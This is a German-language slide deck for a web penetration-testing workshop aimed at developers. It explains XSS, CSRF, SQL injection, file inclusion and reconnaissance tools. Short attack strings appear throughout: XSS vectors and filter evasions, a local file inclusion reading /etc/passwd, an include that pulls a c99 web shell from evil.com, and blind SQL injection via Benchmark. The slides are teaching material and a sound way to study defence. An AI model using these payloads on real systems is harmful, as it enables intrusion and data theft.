Wsd pentesting workshop

Johann-Peter Hartmann & Marco Kaiser

Live-Hacking & Penetration Testing

Johann-Peter Hartmann

» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

Wer seid Ihr ?

» Was erwartet ihr von diesem Workshop?

Wer seid Ihr ?

» Oh, sorry, daran haben wir nicht gedacht.

Agenda

» Grundlagen

Agenda

» Grundlagen» Motivation Pentesting

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF

» XSS, CSRF» SQL Injections

» XSS, CSRF» SQL Injections» Shell Execution

» XSS, CSRF» SQL Injections» Shell Execution» DoS

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions» Information Disclosure

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft

» Es geht also um die entdeckbaren Fehler

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz

» Typische Methoden zum XSS-Schutz» Tag-Filterung

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS

» Löschen erkannter XSS » Validierung

» Löschen erkannter XSS » Validierung» globales Escaping

» Löschen erkannter XSS » Validierung» globales Escaping» Escaping

» ... und warum /index.jsp?id=<script> kein XSS-Test ist

Javascript wird ausgeführt in ...

» <script>-Tags

» <script>-Tags» Urls

» <script>-Tags» Urls» Event-Handlern

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

» In JavaScript selbst

» In JavaScript selbst» in Plugins

XSS in Urls

» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“

content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>

» Url-Encoding schützt» Tag-Filterung hilft nicht

XSS in Scripts

» <script>var search=“mystring“;alert(1);//“

» aus dem JS-Stringkontext in den JS-Kontext ausbrechen

» var number=1;alert(1);

» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht

XSS in Tags

» <input value=“12“ onmouseover=“alert(1);“>

» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext » <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft » Tag-Filterung schützt nicht

XSS in Style-Sheets

» Als Style-Definition: <style>a: expression(alert(1))</style>

» Als Style im Attribut: <a style=“background-color:expression(..

» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors

» Escaping hilft bei Strings » Tag-Filterung hilft nicht

XSS in HTML

» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..

» Tag-Filterung hilft » Escaping in HTML-Entitäten hilft

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“

» Die Codepage kann forciert werdenUTF-7-Bug in den ersten 1024 Bytes:+ADw-script+AD4-alert(1);+ADw-/script+AD4+

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten

» HTML-Entititäten» String-Enkodierung für value=““

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links

» Escaping hilft nicht bei Non-String-Injections in Javascript/Event-Kontext

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

» Inhalt ist kontextabhängig

» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort

neutral oder vergiftet sein

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert

» HTML wird extern erweitert» Attribute wie dojotype=...

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver

» Blacklists sind immer unvollständig

Fehlerhafte XSS-Filter

» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ? » XSS Cheat Sheet

» http://ha.ckers.org/xss.html

Externe XSS-Vektoren

» RSS

» RSS» Web-Services

» RSS» Web-Services» CSV

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern

Cross Site Request Forgery

» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt

» Häufigster Schutz: Token-basiert » Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach

XSS suchen

Schutzmaßnahmen bei SQL-Injection

» Parameter Binding» Parameter Escaping» Blacklisting

Angriffe auf Parameter Binding

» Namen aus externen Quellen

» Namen aus externen Quellen» Datenbanken

» Namen aus externen Quellen» Datenbanken» Tabellen

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax

» SQL-Syntax» Sortierrichtungen

» SQL-Syntax» Sortierrichtungen» Operationen

Parameter Escaping

» Multi-Byte-Attacken

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

Parameter Escaping

» Fehlendes Escaping von Bezeichnern

Parameter Escaping

» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax

SQL Blacklisting Evasions

» SQL Comment Filter Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion

werden: u/**/nion» Umgehen von Escaping mit Funktionen

» char(65) an Stelle von ‘a‘

Code / OS Level Executions

» Shell Kommando Escaping» Standardlösung: Escape von

“\#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done)

Denial of Service

» Schutzmaßnahmen

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

Denial of Service

» IDS

Denial of Service

» IDS» Throttling, mod_bandwidth

Denial of Service

» Applikationsbasiert

Denial of Service

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

Denial of Service

» Evasion über teure Operationen

Denial of Service

» Evasion über teure Operationen» z.B. Registration, FriendOfAFriend, Suchen

mit Rechteprüfung

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

File Uploads

» Abwehr: Virtualisierung der Ablage, Virenchecks

File Uploads

» Abwehr: Virtualisierung der Ablage, Virenchecks

» Umgehung» Flash-Security: einschmuggeln einer

crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung

Local File Inclusions

» include “const“.$_GET[‘bla‘].“const“;» ?bla=/../../etc/passwd%00» ?bla=/../../var/log/apache/access_log» ?bla=/../../var/log/vsftp.log%00

» include $_GET[‘bla‘] . “const“;» ?bla=data://text/plain;base64,P...» ?bla=php://filter/resource=http://evil.com/

c99.txt

Information Disclosure

» Geschützt durch korrekte (Fehler-)Ausgaben

» Umgehung» Timing-Attacken (Login: Username existent?)» Artifakte» Content-Disclosure Fehler

Motivation Pentesting für Entwickler

» Know your enemy

» Know your enemy » Der Entwickler ist der Hebel für Security

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness

» Security Awareness » Security ist komplex

» Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich

Information Gathering

» Infrastruktur

» Infrastruktur» Host

» Infrastruktur» Host» Webserver

» Infrastruktur» Host» Webserver» Webapplikationen

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

» Tools» whois, Nmap, BSI OSS Security Suite, fierce

» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene

Datenbank-Server etc

Information Gathering Host

» Nmap: offene Ports, welche Services

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP

http://myipneighbors.com

Information Gathering Webserver

» Google Dorks

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

» http://www.netcraft.co.uk/

» http://www.netcraft.co.uk/ » FoundStone SuperScan

Lifedemo

» myipneighbors.com» Wikto» Goolag Scanner

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen

» Andere Manipulationen» User-Agent

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header» Accept-Header: Language, Encoding

Pentesting Webapplikationen

» Tools

» Tools» XSS Pentesting

» Tools» XSS Pentesting» CSRF Pentesting

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection

» SQL Injection» Blind SQL Injection

» Information Disclosure

Tools zum manuellen Pentesten

» Browser: Firefox

» Browser: Firefox » Firefox Plugins

» Tamper Data

» Tamper Data » Hackbar

» Tamper Data » Hackbar» Firebug

» Greasemonkey XSS Assistant

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

XSS Pentest

» Wird die Seite mit diesem String manipuliert?

XSS Pentest

» Wird die Seite mit diesem String manipuliert?

» Typisches Beispiel: Frames und Iframes

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

XSS Pentest

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

XSS Pentest

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

CSRF Pentesting

» Ist der Token vorhersehbar?

CSRF Pentesting

» Ist der Token vorhersehbar? » wird der Token überprüft?

CSRF Pentesting

» Falls nein

CSRF Pentesting

» Falls nein» existiert ein Referer-Check?

CSRF Pentesting

» Falls nein» existiert ein Referer-Check?

» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen

SQL Injection Pentesting

» Parametermanipulation

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?» Ändert sich etwas an den dargestellten

Werten?

» Rekonstruktion der Query

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

» Erkennung der Datenbank und Version

» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt

werden

Information Disclosure Pentesting

» Nach Artifakten suchen

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!» Typische Files: /admin/, /README etc

Andere Vektoren

» XPATH injections

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

Andere Vektoren

» XXE

Andere Vektoren

» XXE» XML external Entity Injections

Andere Vektoren

» XXE» XML external Entity Injections» Upload an XML file including references to

local files

Andere Vektoren

local files» LDAP injections

Andere Vektoren

local files» LDAP injections» Logical Flaws

Andere Vektoren

» Missing authorization checks

Andere Vektoren

» Missing authorization checks » /user/edit.php?id=1 for admin editing

Hands On

» Einfache SQL-Injection » Blind SQL Injection» Hackme „OWasp Casino“

» SQL-Injection» Cross Site Request Forgery» Logischer Fehler

Freiwilliger Penetration Test

» Nur Suche nach XSS-Lücken» Gerne auch private Seiten

Fragen?

Vielen Dank für Ihre Aufmerksamkeit!

Wsd pentesting workshop

Documents

WSD-F10 WSD-F20 WSD-F20S - support.casio.com · Uso dell’app Location Memory (solo WSD-F20/WSD-F20S) ..... IT-21 Uso dell’app TOOL ..... IT-26 Uso dell’app Attività

Pentesting iPhone applications

Pentesting with linux

docs.cpuc.ca.gov€¦ · Web viewResolution WSD-007 WSD/CTJ/mphDRAFT. Resolution WSD-007 WSD/CTJ/mph. STATE OF CALIFORNIA GAVIN NEWSOM, Governor

WSD-F10 WSD-F20 WSD-F20S WSD-F20X - CASIO...WSD-F10 WSD-F20 WSD-F20S WSD-F20X ค ม อผ ใช ขอขอบค ณท านส าหร บการซ อนาฬ กาน

Pentesting web applications

Pentesting RESTful webservices

Pentesting Android

Practical pentesting of ERP’s and businessmedia.blackhat.com/us-13/US-13-Polyakov-Practical-Pentesting-of-ERPs... · ERPScan Pentesting Tool • ERPScan's Pentesting Tool is a freeware

Pentesting y troyanos

Practical SAP Pentesting

Android Hacking + Pentesting

AUDITING&PENTESTING STANDARDS

01 - Pentesting - Footprinting-

iOS Application Pentesting

WSD-F10 WSD-F20 WSD-F20S - Support | Home | CASIO€¦ · Introducción ¡Atención propietarios del WSD-F10! En este manual se describe cómo utilizar un reloj WSD-F10 que ha sido

Index Spare Parts - Grieder Bauteileshop.griederbauteile.ch/info/w/Weller/Weller-Ersatzteile.pdfWSD 50 146 WSD 80 147 WSD 81 148 WSD 130 149 Modell Page WSD 150 150 WSD 151 151 WSD

Pentesting Android Applications

Pentesting Cloud Environment

Pentesting with Metasploit